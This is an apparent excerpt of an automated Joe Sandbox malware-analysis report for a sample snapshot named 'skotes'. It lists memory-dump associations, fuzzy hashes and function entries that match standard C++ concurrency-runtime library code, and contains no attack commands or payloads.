Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 0a483bc4a97578b39cebd54edc22daeefb2e4312aedc9086c2fc9487f8e07205
Instruction ID: b683fbd3fcb3101ce557fb80d92b2cc11df17b820216e5d354c7237d91a58155
Opcode Fuzzy Hash: 0a483bc4a97578b39cebd54edc22daeefb2e4312aedc9086c2fc9487f8e07205
Instruction Fuzzy Hash: AD018131600631AFDB29BBA5F8C2E6EB76BBF957103050139F90597612DB20FC7297A0

Function 0012EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0012EE6A
ListArray.LIBCONCRT ref: 0012EE7C

Part of subcall function 0012EF29: _InternalDeleteHelper.LIBCONCRT ref: 0012EF3B

ListArray.LIBCONCRT ref: 0012EE86
_InternalDeleteHelper.LIBCONCRT ref: 0012EE9F

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 4690b0cb15e4cf8e381be0046a79b280a3f28d13418ea610020d105ba3abe459
Instruction ID: 7af0136684b5463d9877102e26ed0ef52028e3bc3287790c944e0b3586c88509
Opcode Fuzzy Hash: 4690b0cb15e4cf8e381be0046a79b280a3f28d13418ea610020d105ba3abe459
Instruction Fuzzy Hash: FD018631600631AFCB29BB61F9C2D6EBBAABF957103050039F90557611CB20FC7197D0

Function 0012D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0012D0C5
ListArray.LIBCONCRT ref: 0012D0D7

Part of subcall function 0012C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0012C6C4

ListArray.LIBCONCRT ref: 0012D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0012D0FA

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 517eb6b20894181a333933333872cecc5658abfda5e0cee3e492ad9064598284
Instruction ID: e9aceb1b63c7af674ae15d7c3e5b99d30c0bbaee6ed945a04ded3903ba79a2ec
Opcode Fuzzy Hash: 517eb6b20894181a333933333872cecc5658abfda5e0cee3e492ad9064598284
Instruction Fuzzy Hash: 9601D631200531AFCA29BB60F882D6DB76ABF957103000025F90197711DF20AC7287D0

Function 001333C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001333DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 001333EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00133407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0013341F

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: e86cf77216d8577530e66192e12ed9f7554712eb3ef6dcee21ab37a9442b7675
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6C01D632700514A7CF16EF659841AAFB7AEAF54350F100015FC26AB282DB71EE1097A4

Function 00129510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00129519

Part of subcall function 0011F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00125486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0012953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00129550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00129559

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 69afffebb950370bb953a5933c737ff42e2139919b5b1ec29f93e748540f357e
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 88F0E530700A305FE666AFACA811F6A23D4DF54711F00C41EE41BD7682CF24F942CB90

Function 0011EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 0011EFD1

Part of subcall function 0011F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0011F989
Part of subcall function 0011F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0011F9C0
Part of subcall function 0011F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0011F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0011EFDD

Part of subcall function 0011F40F: Concurrency::critical_section::unlock.LIBCMT ref: 0011F433

Concurrency::Context::Block.LIBCONCRT ref: 0011EFE2

Part of subcall function 00120366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00120368

Concurrency::critical_section::lock.LIBCONCRT ref: 0011F002

